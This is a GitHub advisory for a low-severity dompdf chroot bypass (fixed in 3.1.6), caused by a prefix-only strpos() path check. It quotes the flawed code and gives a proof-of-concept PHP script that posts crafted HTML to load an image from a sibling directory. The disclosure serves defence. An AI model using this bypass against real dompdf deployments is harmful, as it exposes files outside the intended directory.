GitHub Advisoryadvisory · Packagist

GHSA-wvh6-f5jh-8gw4 Dompdf: Chroot Validation Bypass

LOW Published 2026-07-22 Modified 2026-07-22 Official page ↗
Aliases
CVE-2026-55554
Ecosystem
Packagist
Packages
dompdf/dompdf
Severity
Low
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-20, CWE-22
Reviewed
2026-07-22

Affected packages

• Packagist dompdf/dompdf: < 3.1.6 → fixed in 3.1.6

Description

Summary The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root. This allows attacker-controlled document paths/resources to bypass intended local file restrictions. Details The `validateLocalUri()` method is used to check if a local file is within an allowed chroot directory. After normalization with `realpath()`, this check is performed with a `strpos()` comparison: ``` public function validateLocalUri(string $uri) { ... $realfile = realpath(str_replace("file://", "", $uri)); ... foreach ($dirs as $chrootPath) { $chrootPath = realpath($chrootPath); if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) { $chrootValid = true; ``` Due to the normalization, the `$chrootPath` string does not have a terminating directory separator (`/`) appended. Because of this, the `strpos()` check only validates that `$chrootPath` is a _prefix_ of `$realfile`. This allows access to folders with similar names that fall outside of the defined chroot restrictions. For example, a chroot setting of `/var/www/` would be normalized to `/var/www`, removing the trailing `/`. During `strpos()`, a `$chrootPath` of `/var/www` will also match a `$realfile` starting with `/var/www2`, `/var/www-admin`, or `/var/www_backup`, despite these being different directories. PoC With a directory structure similar to: ``` /home/dompdf/ |--> web/ |--> pdf.php |--> cat0.jpg |--> web-admin/ |--> cat1.jpg ``` And web-accessible Dompdf functionality similar to the following (poc.html): ``` setChroot(['/home/dompdf/web/']); $dompdf = new Dompdf($options); $dompdf->loadHtml($_POST['html']); $dompdf->render(); $dompdf->stream(); ?> ``` A malicious actor can exploit the vulnerability with the following script: ``` $html = within chroot outside of chroot HTML; $url = 'http://example.com/poc.php'; $data = ['html' => $html]; $headers = ["Content-type: application/x-www-form-urlencoded"]; // use key 'http' even if you send the request to https://... $options = [ 'http' => [ 'header' => $headers, 'method' => 'POST', 'content' => http_build_query($data), 'ignore_errors' => true, ], ]; $context = stream_context_create($options); $response = file_get_contents($url, false, $context); ``` When the PDF is generated, both `jpg` files are loaded successfully despite the `cat1.jpg` file being outside of the allowed chroot. Impact An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.

Related

Alias · CVE (1)

  • CVE-2026-55554 Dompdf is an HTML to PDF converter for PHP. vulnerability

Weakness · CWE (2)

  • CWE-20 Improper Input Validation weakness
  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References